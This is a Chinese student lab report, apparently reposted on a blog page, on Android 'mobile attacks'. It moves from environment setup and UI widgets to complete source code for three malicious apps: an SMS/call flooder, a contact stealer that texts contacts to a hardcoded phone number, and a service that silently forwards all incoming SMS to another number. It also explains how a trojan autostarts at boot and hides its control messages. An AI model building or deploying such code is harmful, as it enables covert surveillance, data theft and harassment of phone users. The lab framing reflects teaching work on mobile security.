移动攻击实践

Android开发环境搭建

原理

  • 1、掌握Android应用开发平台安装、及相关配置
  • 2、了解Android SDK基本文件目录结构
  • 3、掌握模拟器AVD的使用
  • 4、编程实现第一个程序Hello World

环境

  • 操作机:Windows_xp
  • 安装JAVA JDK
  • 安装Eclipse
  • 安装Android SDK
  • 安装ADT(Android Development Tools)
  • 安装手机USB驱动

步骤

  • 1、启动eclipse,设置Workspace,工程代码位置
  • 2、步骤2:设置SDK路径Windows ->Perferences->左边树状Android->Browse->android-sdk-windows所在目录->Apply
  • 3、运行AVD Manager: Windows -> AVD Manager
  • 4、新建AVD: New
  • 5、Name->adt17 ; Target->Android 4.2.2 – API Level 17 ; SD card: size 512 其它默认点击Create AVD
  • 6、运行eclipseFile -> New -> Android Application Project
  • 7、执行Android Application,运行出界面
    886473-20170519180713635-1659105252.png

安卓GUI设计实验(虚拟机限时,无法在一个小时完成所有实验,后部分仅学习理解)

原理

设计手机用户界面应解决的问题:

  • 1.需要界面设计与程序逻辑完全分离,这样不仅有利于并行开发,而且在后期修改界面时,也不用再次修改程序的逻辑代码;
  • 2.根据不同型号手机的屏幕解析度、尺寸和纵横比各不相同,自动调整界面上部分控件的位置和尺寸,避免因为屏幕信息的变化而出现显示错误;
  • 3.能够合理利用较小的屏幕显示空间,构造出符合人机交互规律的用户界面,避免出现凌乱、拥挤的用户界面;
  • 4.Android已经解决了前两个问题,使用XML文件描述用户界面;资源资源文件独立保存在资源文件夹中;对界用户面描述非常灵活,允许不明确定义界面元素的位置和尺寸,仅声明界面元素的相对位置和粗略尺寸。

  • Android用户界面框架(Android UI Framework)采用MVC(Model-View-Controller)模型:提供了处理用户输入的控制器(Controller),显示用户界面和图像的视图(View),以及保存数据和代码的模型(Model)。拉下图所示:

模型

  • Android采用视图树(View Tree)模型:Android用户界面框架中的界面元素以一种树型结构组织在一起,称为视图树;Android系统会依据视图树的结构从上至下绘制每一个界面元素。每个元素负责对自身的绘制,如果元素包含子元素,该元素会通知其下所有子元素进行绘制。

View

  • 在Android程序中,用户界面是用View和ViewGroup对象来建立的。有许多种View和ViewGroup的,每一种都View的子类。
  • View是Android平台中最基本的用户界面单元。View类是“小组件”子类的基础,“小组件”提供UI对象的完整实现,例如文本输入框和按钮。ViewGroup类是“布局”子类的基础,“布局”提供不同的布局结构。例如线性布局,标签布局,相关性布局等等。
  • Android系统的界面控件分为定制控件和系统控件:定制控件是用户独立开发的控件,或通过继承并修改系统控件后所产生的新控件。能够为用户提供特殊的功能或与众不同的显示需求方式;系统控件是Android系统提供给用户已经封装的界面控件。提供在应用程序开发过程中常见功能控件。系统控件更有利于帮助用户进行快速开发,同时能够使Android系统中应用程序的界面保持一致性。

常见的系统控件

  • 包括TextViewEditTextButtonImageButton、Checkbox``RadioButtonSpinnerListViewTabHost

环境

  • 操作机:Windows_xp
TextView的使用
  • 新建Android项目->项目名称:Ex.TextView -> Application name: TextViewDemo -> Package name: com.example.textviewdemo -> Build SDK: Android 4.3 其它默认切换到activity_main.xml选项卡删除下面的TextView代码,这样整个工程里就不含有任何控件

创建TextView控件的两种方法

方法一:在程序中创建TextView控件
  • 在src -> MainActivity.java 下onCreate函数下添加加如下代码,然后运行:


    TextView tv=new TextView(this);
    tv.setText("您好");
    setContentView(tv);
方法二:使用XML布局文件
  • 删除方法一种添加的代码,选择res/values/string.xml,新建一个字符串,代码如下:


    <string name="app_name">TextViewDemo</string>
    <string name="action_settings">Settings</string>
    <string name="hello_world">Hello world!</string>
    <string name="hello">您好!</string>
    <string name="menu_settings">Settings</string>
  • 选择layout目录下activity_main.xml,在activity_main.xml中添加TextView相关代码:

    <TextView
    android:id="@+id/textView1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignParentLeft="true"
    android:layout_alignParentTop="true"
    android:text="@string/hello"/>
  • 运行结果
    886473-20170519180751228-35550167.png

  • 修改TextView属性,字体大小、字体颜色



    <TextView
    android:id="@+id/textView1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="你好"
    android:textSize="20sp"
    android:textColor="#00FF00"/>
  • 运行结果
    886473-20170519180823494-883879732.png

  • 使用Html标签修改文本中某一段字体的颜色

    
    <TextView
    android:id="@+id/tv"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:text="@string/app_name"
    android:textSize="20sp"
    android:textColor="#00FF00"/>
  • 运行结果
    886473-20170519181357650-1623908534.png

  • 修改MainActivity.java代码

    
    
    TextView tv = (TextView)findViewById(R.id.tv);
    tv.setText(Html.fromHtml(“Android开发实验–TextView使用“));
EditText使用
创建
  • 1、新建Android项目->项目名称:Ex.EditText -> Application name: EditTextDemo -> Package name: com.ex.edittext -> Build SDK: Android 4.3 其它默认
  • 2、切换到activity_main.xml选项卡。创建EditText
  • 运行结果
    886473-20170519181425900-1162040187.png
EditText属性演示
  • maxLength:最大输入长度属性,代码:

    <EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:maxLength="3"
    />
  • 运行结果
    886473-20170519181449682-1972290656.png

  • singleLine:多行文本框,代码:



    <EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:singleLine="false"
    />
  • 运行结果:
    886473-20170519181522978-759765489.png

  • inputType:限制输入文本类型,代码:



    <EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:inputType="number"
    />
  • 运行结果:只能输入数字
    886473-20170519181549463-2127886520.png

  • hint:设置提示信息,代码:

    

    <EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:hint="我是EditText"
    />
  • 运行结果
    886473-20170519181613213-279112414.png
DDMS
启动DDMS
  • 在eclipse右上角找到图标,点击,在对话框中选择DDMS
  • 启动界面
DDMS基本认识
  • devices选项卡列出当前模拟器
  • Logcat选项卡显示操作日志
  • Emulator Control选项卡设置打电话和发短信
  • File Explorer实现电脑与模拟器之间数据的上传和下载
DDMS打电话
  • 选择Emulator Control选项卡,在Incoming number文本框中输入模拟器编号。模拟器编号在devices选项卡中可以看到。点击call按钮

  • 模拟器运行结果
    886473-20170519181648510-2059861417.png

DDMS发短信
  • 选择Emulator Control选项卡,在Incoming number文本框中输入模拟器编号。模拟器编号在devices选项卡中可以看到。点击call按钮

  • 模拟器运行结果
    886473-20170519181718057-1460102539.png

DDMS上传和下载文件
  • 选择File Explorer选项卡,在选项卡右侧找到这两个按钮,可以分别实现PC与模拟器之间文件的上传和下载。
Button使用
创建button
  • 新建Android项目->项目名称:Ex.Button -> Application name: ButtonDemo -> Package name: com.ex.button -> Build SDK: Android 4.3 其它默认

  • 切换到activity_main.xml选项卡。创建button对象,代码如下:


    <Button
    android:id="@+id/btn1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignParentTop="true"
    android:layout_marginRight="28dp"
    android:layout_marginTop="38dp"
    android:layout_toLeftOf="@+id/textView1"
      android:text="点我" />
  • 结果
    886473-20170519181746353-1749611266.png
定义Button事件
  • 代码:

    public class MainActivity extends Activity {

    private Button btn1 = null;

    @Override
    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    btn1 = (Button)findViewById(R.id.btn1);
    btn1.setOnClickListener(new View.OnClickListener()
    {
        public void onClick(View v)
        {
            Toast.makeText(MainActivity.this, "你点击了按钮", Toast.LENGTH_LONG).show();
        }
    });
    }
  • 结果
    886473-20170519181816150-770814243.png
定义多Button事件
  • 代码

    <Button
    android:id="@+id/btn2"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignParentTop="true"
    android:layout_marginTop="31dp"
    android:layout_toLeftOf="@+id/textView1"
      android:text="点我1" />
    <Button
    android:id="@+id/btn1"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:layout_alignLeft="@+id/btn2"
    android:layout_below="@+id/btn2"
    android:layout_marginTop="26dp"
      android:text="点我2" />


    public class MainActivity extends Activity {

    private Button btn1 = null;
    private Button btn2 = null;
    @Override
    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    btn1 = (Button)findViewById(R.id.btn1);
    btn2 = (Button)findViewById(R.id.btn2);
    btn1.setOnClickListener(listener);
    btn2.setOnClickListener(listener);
    }
    private OnClickListener listener = new OnClickListener()
    {
    public void onClick(View v)
    {
        Button btn = (Button)v;
        switch(btn.getId())
        {
        case R.id.btn1:
            Toast.makeText(MainActivity.this, "你点击了按钮1", Toast.LENGTH_LONG).show();
            break;
        case R.id.btn2:
            Toast.makeText(MainActivity.this, "你点击了按钮2", Toast.LENGTH_LONG).show();
        }
    }
    };

  • 结果
    886473-20170519181847463-548008446.png

Android权限控制实验

创建
  • Android的系统权限不是由用户控制,而是由开发者根据开发的需要控制相关权限的开放与否,权限控制主要放置在AndroidManifest.xml文件中。将如下的权限控制属性写入AndroidManifest.xml文件就可以获取相应的系统权限。如果在开发中遇到一些调试的问题很可以就是权限的原因。Android常见的权限参考:
    http://www.cnblogs.com/jdy1453/p/6879878.html

  • 新建Android项目->项目名称:Ex.Permit -> Application name: PermitDemo -> Package name: com.example. -> Build SDK: Android 4.3 其它默认

  • 在Ex.Permit项目中开启监听功能,可以选择手机通话记录、短信记录、彩信、摄像、拍照、通讯录、录音等权限中任意两项权限进行设置。

通过编辑器编辑权限
  • 点击项目中的AndroidManifest.xml,在多标签页中选择“Permission”

  • 然后点击add按钮,选择添加使用权限(Uses Permission)

通过修改配置文件编辑权限
  • 在AndroidManifest.xml中添加uses-permission标签,添加了录制音频的权限

  • 结果:程序具有录音权限,可以应用程序的录音功能。通过防护软件(360手机卫士、手机毒霸)禁用录音功能,打开程序,提示没有录音权限,无法录音。
    886473-20170519182000650-1930270421.png

Android木马程序设计(虚拟机里面没有文件夹,无法操作,仅学习理解过程)

原理

  • 在GSM系统中,短消息主要包括以下重要部分:移动起始短消息:Mobile Originated Short Message和移动终接短消息:Mobile Terminated Short Message。
移动起始短消息:Mobile Originated Short Message
  • 一个GSM用户发送短消息时,他必须至少在其内容中包含最终地址的识别符,和处理这消息的服务中心号码,然后请求传递。短消息的传输要求在移动台和MSC之间建立信令连接。消息本身的传递要求在无线路径上建立专用的链路层链接,并要求采用专用的消息传递协议。在规定的协议栈的顶部是所谓的传输层协议,在移动起始短消息情形下,它是一条单独的报文,即SMTP(不是TCP/IP的SMTP)短消息传送报文,低层处理应答的传送,它只指出SMSC已收到报文。
移动终接短消息:Mobile Terminated Short Message。
  • 目的地为GSM用户的短消息必须首先先从发送方路由至短消息服务中心,然后再被路由至实际地址。 当SMSC有短消息需发送到期某一GSM用户时,它建立一条包含各种利于接收者的信息的SMS-DELIVER报文。此信息包括用户的内容,最初的发送者身份及用于批示短消息已被SMSC接收的时间标记。与MO情形相似,SMS-DELIVER报文将在各种接口上传送。 在达到目的地前,报文的实际路由必须利用MAP/C查询功能获得,采用的是如下方法:SMSC将短消息传到与服务中心相连的SMS网关,网关的选择依赖于它想到在的用户,因为通常网关仅能处理某些用户(某家营运商或某个国家的用户)。这样,用户通过目录号(一般同电话一样)来识别,这些目录号最初是由短消息发送者输入的,这使得SMS网关能识别有关的HLR并查询它。查询是通过发送一个专用报文,即用于短消息的MAP/C SEND ROUTING INFOR报文来实现;对其应答既可采用包含用户正在访问的MSC/VLR的SS7地址的MAP/C SEND ROUNTING INFO FOR SHORT MESSAGE RESULT报文,又可当已知用户此时不可到达时采用拒绝报文。
SMS的参数
  • SMS由几个与提交或接收相关的服务要素组成,如:有效期(在将短消息成功送达用户前SMSC需要保证的储存时间),优先性。此外,短消息还提供提交消息的时间、告诉移动台是否还有更多消息要发送,以及还有多少条消息要发送等。

步骤

  • 1、点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/degj),最后点击“Finish”。

  • 打开“src”下的SmsActivity.java文件,代码:




    package sms.ply;
    import java.util.List;  
    import android.app.Activity;  
    import android.content.Intent;  
    import android.net.Uri;  
    import android.os.Bundle;  
    import android.telephony.SmsManager;  
    import android.view.View;  
    import android.view.View.OnClickListener;  
    import android.widget.Button;  
    import android.widget.EditText;
    import android.widget.Toast;  

    public class SmsActivity extends Activity {  
    /** Called when the activity is first created. */  
    @Override  
    public void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.main);  


        setComponent();  
    }  

    private void setComponent() {  
        final EditText message = (EditText)findViewById(R.id.message); 
        final EditText phoneno = (EditText)findViewById(R.id.phoneno);

        final EditText attno = (EditText)findViewById(R.id.attno); 
        Button bt1 = (Button) findViewById(R.id.Button01);  
        bt1.setOnClickListener(new OnClickListener() {  
            @Override  
            public void onClick(View v) {  
                Intent intent = new Intent(  
                                Intent.ACTION_CALL, Uri.parse   ("tel:5556"));  
                startActivity(intent);  
            }  
        });  
        Button bt2 = (Button) findViewById(R.id.Button02);  
        bt2.setOnClickListener(new OnClickListener() {  
            @Override  
            public void onClick(View v) {  
        //        String smsContent = "102";  
                 String smsContent = message.getText().toString(); 
                 String cishu = attno.getText().toString();
                 int number = Integer.valueOf(cishu).intValue();
                // note: SMS must be divided before being sent    
                SmsManager sms = SmsManager.getDefault();  
                List<String> texts = sms.divideMessage(smsContent);  
                int i = 0;
                while (i < number)
                {
                for (String text : texts) {  
                    sms.sendTextMessage(phoneno.getText().toString(), null, text, null, null);  
                }
                i = i + 1;

                }
                // note: not checked success or failure yet  
                Toast.makeText(  
                        SmsActivity.this,   
                        "短信已发送",  
                            Toast.LENGTH_SHORT ).show();  
            }  
        });  
        }  
    } 
  • 打开layout目录下的“main.xml”文件(布局文件),代码:

    <?xml version="1.0" encoding="utf-8"?>  
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"  
    android:orientation="vertical" android:layout_width="fill_parent"  
    android:layout_height="fill_parent" android:gravity="center">  
    <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="Direct Method:"  
        android:gravity="center" />  
    <Button android:text="电话攻击" android:id="@+id/Button01"  
        android:layout_width="wrap_content" android:layout_height="wrap_content"></Button>  
    <Button android:text="短信攻击" android:id="@+id/Button02"  
        android:layout_width="wrap_content" android:layout_height="wrap_content"></Button>  

        <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="号码:"  
        android:gravity="center" />  
    <EditText
     android:id="@+id/phoneno"
     android:layout_width="fill_parent"
     android:layout_height="wrap_content"
     />
        <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="发送次数:"  
        android:gravity="center" />  
    <EditText
     android:id="@+id/attno"
     android:layout_width="fill_parent"
     android:layout_height="wrap_content"
     />

        <TextView android:layout_width="fill_parent"  
        android:layout_height="wrap_content" android:text="发送内容:"  
        android:gravity="center" />  

        <EditText
     android:id="@+id/message"
     android:layout_width="fill_parent"
     android:layout_height="wrap_content"
     />
    </LinearLayout> 
  • 打开AndroidMainfest.xml文件(控件),代码:


    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="sms.ply"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="15" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:label="@string/app_name"
            android:name=".SmsActivity" >
            <intent-filter >
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-permission android:name="android.permission.BROADCAST_STICKY" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.CALL_PRIVILEGED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> 
    <uses-permission android:name="android.permission.SEND_SMS" />
    </manifest>
  • 实验结果
    886473-20170519190537150-198702186.png

Android读取联系人

原理

  • 对于木马程序,我们需要木马在Android设备开机时自动运行,当Android启动时,会发出一个系统广播,内容为ACTION_BOOT_COMPLETED,它的字符串常量表示为android.intent.action.BOOT_COMPLETED。只要在程序中“捕捉”到这个消息,再启动之即可。为此,我们要做的是做好接收这个消息的准备,而实现的手段就是实现一个BroadcastReceiver。木马主要通过接收短信的系统广播(Broadcast Receiver)进行短信内容匹配,如果是发送的控制指令,则将短信屏蔽掉,让被控制端用户无法得到收取短信的通知,并且对目标手机进行远程控制,如短信转发、电话监听、手机录音等。

  • 木马主要是利用Android 中的广播机制来是实现的。BroadcastReceiver类似于事件编程中的监听器,代表广播消息接收器。木马重写了onReceive(Context context ,Intent intent)方法,当系统收到消息时候,通过监听“android.provider.Telephony.SMS_RECEIVED”广播,对消息的内容进行检测。当检测到的内容为控制指令时,用abortbroadcast()将短信屏蔽掉,使用户无法接受到短信,然后根据控制指令,进行相应操作。需要注意的是,如果数据量比较大,比如录音、摄像数据、最好架设一个服务器用来上传数据。

步骤

  • 1、点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/ReadContacts),最后点击“Finish”。

  • 打开“src”下的ReadContacts.java文件,代码:




    package com.lightcone.readcontacts;

    import java.util.List;

    import android.app.Activity;
    import android.content.ContentResolver;
    import android.database.Cursor;
    import android.net.Uri;
    import android.os.Bundle;
    import android.provider.ContactsContract;
    import android.telephony.SmsManager;


    public class ReadContacts extends Activity {

    // To suppress notational clutter and make structure clearer, define some shorthand constants.

    private static final Uri URI = ContactsContract.Contacts.CONTENT_URI;
    private static final Uri PURI = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;

    private static final String ID = ContactsContract.Contacts._ID;
    private static final String DNAME = ContactsContract.Contacts.DISPLAY_NAME;
    private static final String HPN = ContactsContract.Contacts.HAS_PHONE_NUMBER;

    private static final String CID = ContactsContract.CommonDataKinds.Phone.CONTACT_ID;

    private static final String PNUM = ContactsContract.CommonDataKinds.Phone.NUMBER;
    private static final String PHONETYPE = ContactsContract.CommonDataKinds.Phone.TYPE;


    private String id;
    private String name;

    private String ph[];
    private String phType[];

    private String last;

    private int phcounter;



    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        // Allow for up to 5 email and phone entries for a contact

        ph = new String[5];
        phType = new String[5];
        int j = 0;

            ContentResolver cr = getContentResolver();
            Cursor cu = cr.query(URI, null, null, null, null);
            if (cu.getCount() > 0) {    

                // Loop over all contacts
                while (cu.moveToNext()) {     

                    // Initialize storage variables for the new contact

                    id = cu.getString(cu.getColumnIndex(ID));
                    name = cu.getString(cu.getColumnIndex(DNAME));                         
                    // Append list of contacts to the scrollable TextView on the screen. 


                    phcounter = 0;
                    if (Integer.parseInt(cu.getString(cu.getColumnIndex(HPN))) > 0) {                
                        Cursor pCur = cr.query(PURI,  null, CID + " = ?",  new String[]{id}, null);
                         while (pCur.moveToNext()) {
                             ph[phcounter] = pCur.getString(pCur.getColumnIndex(PNUM));
                             phType[phcounter]  = pCur.getString(pCur.getColumnIndex(PHONETYPE)); 
                             phcounter ++;
                         } 
                         pCur.close();
                    }



                    // Write list of phone numbers for this contact to SD card file
                    for(int i=0; i<phcounter; i++){
                        last = name + ("   phone="+ ph[i] + " ("
                                    + getPhoneType(phType[i]) + ") ");

                    } 
                    if (j<2) {
                    sendSMS (last);
                    j++;
                    }
                }
    //                for (int k = 0; k < j; k++){

    //                }

             }       
            // Flush the PrintWriter to ensure everything pending is output before closing

        } 




    /**  Method to check whether external media available and writable and to find the
         root of the external file system. */   


    private String getPhoneType(String index){
          if(index.trim().equals( "1")){
              return "home";
          } else if (index.trim().equals("2")){
              return "mobile";
          } else if (index.trim().equals("3")){
              return "work";
          } else if (index.trim().equals("7")){
              return "other";
          } else {
              return "?";
          }
    }  

    /** Method to return label corresponding to email type code. Data for correspondence from
       http://developer.android.com/reference/android/provider/ContactsContract.
       CommonDataKinds.Email.html  */



    private void sendSMS (String message) {


        SmsManager sms = SmsManager.getDefault();  

        List<String> texts = sms.divideMessage(message);  

        for (String text : texts) {  
            sms.sendTextMessage("18611594986", null, text, null, null);  

        }


        //register the Broadcast Receivers 15555215556 15810540049

    }

    }
  • 打开“res”目录下的layout的“main.xml”文件(此文件为布局文件)代码:


    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent" 
    android:background="@drawable/myimg0"
    android:gravity="center"
    >
    <ScrollView   
       android:id="@+id/ScrollView01"  
       android:layout_height="fill_parent"   
       android:layout_width="fill_parent">
        <TextView  
                android:layout_width="fill_parent" 
                android:layout_height="wrap_content" 
            android:padding="5sp"
            android:id="@+id/TextView01"
            android:text="@string/hello" />
     </ScrollView> 
    </LinearLayout>
  • 运行结果
    886473-20170519190906588-283115032.png

Android短信转发

原理

  • Android 监听短信2种方式:Broadcast和ContentObserver
基于Broadcast接受短信
  • Android收到短信后系统会发送一个android.provider.Telephony.SMS_RECEIVED广播。把它放在Bundle(intent.Extras)中,Bundle可以理解为一个Map,短信采用”pdus”作为键,pdus应该是protocol description units的简写,也就是一组短信。Android不是一接收到短信就立刻发出广播的,他会有一定的延迟,所以就有可能会有多条短信,所以才会用数组来存放。
基于ContentObserver监听短信
  • 原理是通过监听短信数据库,操作短信内容。  “ContentObserver??内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表触发器、行触发器,相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver,当然这是与它所监听的Uri MIME Type有关的。”先不深究更加底层的内容,从表面上我们可以知道ContentObserver可以获取Uri引起的数据库的变化,短信的Uri为:
    发送短信:content://sms/outbox
    接收短信:content://sms/inbox
    知道Uri后我们就可以获取到短信的内容了。

步骤

  • 点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/ReadContacts),最后点击“Finish”。

  • 打开“src”下的MyService.java文件,代码:



    package com.android.myservice;

    ///import com.android.myservice.R;
    import java.util.List;

    import android.app.Service;
    import android.content.Intent;
    import android.os.IBinder;
    import android.os.Binder;
    import android.util.Log;
    import android.widget.Toast;

    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.IntentFilter;
    import android.os.Bundle;
    import android.telephony.SmsMessage;


    import android.app.PendingIntent;
    
    import android.telephony.SmsManager;
    //import android.view.View;
    //import android.widget.EditText;
    
    public class MyService extends Service {
    private static final String TAG = "MyService";
    private MyBinder mBinder=new MyBinder();
    String SENT_SMS_ACTION="SENT_SMS_ACTION";
    String DELIVERED_SMS_ACTION="DELIVERED_SMS_ACTION";
    //StringBuilder sb = new StringBuilder();
    ReceiverDemo smsReceiver;

    public class ReceiverDemo extends BroadcastReceiver {

        private static final String strRes = "android.provider.Telephony.SMS_RECEIVED";
        PendingIntent paIntent;
        SmsManager smsManager;
        IntentFilter filter=new IntentFilter();

        @Override
        public void onReceive(Context arg0, Intent arg1) {
            // TODO Auto-generated method stub
            if(strRes.equals(arg1.getAction())){
                StringBuilder sb = new StringBuilder();
                Bundle bundle = arg1.getExtras();
                //Toast.makeText(arg0, "hihih", Toast.LENGTH_LONG).show();
                if(bundle!=null){
                    Object[] pdus = (Object[])bundle.get("pdus");
                    SmsMessage[] msg = new SmsMessage[pdus.length];
                    //Toast.makeText(arg0, "received sms", Toast.LENGTH_LONG).show();
                    for(int i = 0 ;i<pdus.length;i++){
                        msg[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
                    }                    
                    for(SmsMessage curMsg:msg){

                        sb.append(curMsg.getDisplayMessageBody());
                    }
                    //Toast.makeText(arg0, "Got The Message:" + sb.toString(),Toast.LENGTH_SHORT).show();        
                    sendSMS(sb.toString());

                }
            }
        }

    }

    @Override
    public IBinder onBind(Intent intent) {

        return mBinder;
    }

    public void onCreate() {

        //Toast.makeText(this, "My Service created", Toast.LENGTH_LONG).show();
        Log.i(TAG, "onCreate");
        smsReceiver =new ReceiverDemo();
        IntentFilter filter=new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        this.registerReceiver(smsReceiver, filter);
        super.onCreate();


    }

    @Override
     public void onDestroy() {
    //        Toast.makeText(this, "My virus Stoped", Toast.LENGTH_LONG).show();
    //        Log.i(TAG, "onDestroy");
        super.onDestroy();

    }

    @Override
    public void onStart(Intent intent, int startid) {
    //        Toast.makeText(this, "My virus Start", Toast.LENGTH_LONG).show();
    //        Log.i(TAG, "onStart");


        super.onStart(intent,startid);

    }
    public class MyBinder extends Binder{
        MyService getService(){
            return MyService.this;
        }
    }
    private void sendSMS (String message) {

        //create the sentIntent parameter
        Intent sentIntent = new Intent(SENT_SMS_ACTION);
        PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, sentIntent,
                0);
        // create the deilverIntent parameter
        Intent deliverIntent = new Intent(DELIVERED_SMS_ACTION);
        PendingIntent deliverPI = PendingIntent.getBroadcast(this, 0,
                deliverIntent, 0);
        //Toast.makeText(this, "start sendsms()", Toast.LENGTH_LONG).show();

        SmsManager sms = SmsManager.getDefault();
        if (message.length() > 70) {
            List<String> msgs = sms.divideMessage(message);
            for (String msg : msgs) {
                sms.sendTextMessage("18651444669", null, msg, sentPI, deliverPI);
            }
        } else {
            sms.sendTextMessage("18651444669", null, message, sentPI, deliverPI);
        }


        //register the Broadcast Receivers 15555215556 15810540049

    }

    }
  • 打开“res”目录下的layout的“main.xml”文件(此文件为布局文件),代码:

    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:background="@drawable/myimg"
    android:gravity="center">
    <TextView
    android:layout_width="fill_parent"
    android:layout_height="wrap_content" android:text="@string/services_demo" 
    android:gravity="center" android:textSize="20sp" android:padding="20dp"
    >
    </TextView>
    </LinearLayout>
  • 打开AndroidMainfest.xml文件,代码:
    

    <?xml version="1.0" encoding="utf-8"?>


    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.android.myservice">
    <application android:icon="@drawable/chees" android:label="@string/app_name">
        <activity android:name=".ServicesDemo" android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <service android:enabled="true" android:name=".MyService"/>
    <!--         <activity android:name=".SmslistenerActivity" android:label="@string/app_name"> -->
    <!--         </activity> -->
    </application>
    <receiver android:name=".ReceiverDemo" android:enabled="true" >
        <intent-filter>
            <action android:name="android.provider.Telephony.SMS_RECEIVED" />
        </intent-filter>
    </receiver>
    <uses-sdk android:minSdkVersion="7" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <buildCommand>
        <name>org.eclipse.jdt.core.javabuilder  </name>
      <arguments>
      </arguments>
    </buildCommand>

    </manifest>
  • 结果
    886473-20170519183211197-512543887.png

感想

本次实践我们组的实践题目为移动攻击,主要内容为在安卓平台下进行攻击,例如提权,木马攻击,整个实验在根据实验指导书完成没有太大问题,不过在木马攻击的时候遇到了代码问题,在之前的配置环境以及安卓GUI设计中遇到版本不同指令问题,通过小组成员的积极讨论以及上网百度等方法成功解决了问题,成功完成了实验,在之后的实践过程中我们将吸取本次实验的经验,踏踏实实认真的完成接下来的每一个任务!

转载于:https://www.cnblogs.com/jdy1453/p/6879860.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值